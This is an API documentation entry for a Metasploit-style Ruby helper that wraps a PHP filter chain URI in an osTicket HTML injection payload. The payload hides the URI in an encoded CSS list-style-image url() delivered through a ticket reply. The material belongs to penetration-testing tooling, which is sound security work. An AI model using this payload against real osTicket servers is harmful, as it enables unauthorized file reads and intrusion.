Wraps a raw PHP filter chain URI in the osTicket HTML injection format for delivery via ticket reply.

Parameters:

  • filter_uri (String)

    php://filter/... URI

  • is_reply (Boolean) (defaults to: true)

    true for ticket reply payload

Returns:

  • (String)

    HTML payload



531
532
533
534
# File 'lib/msf/core/auxiliary/osticket.rb', line 531

def wrap_filter_as_ticket_payload(filter_uri, is_reply: true)
  sep = is_reply ? '&#38;&#35;&#51;&#52;' : '&#34'
  "<ul><li style=\"list-style-image:url#{sep}(#{quote_with_forced_uppercase(filter_uri)})\">listitem</li></ul>"
end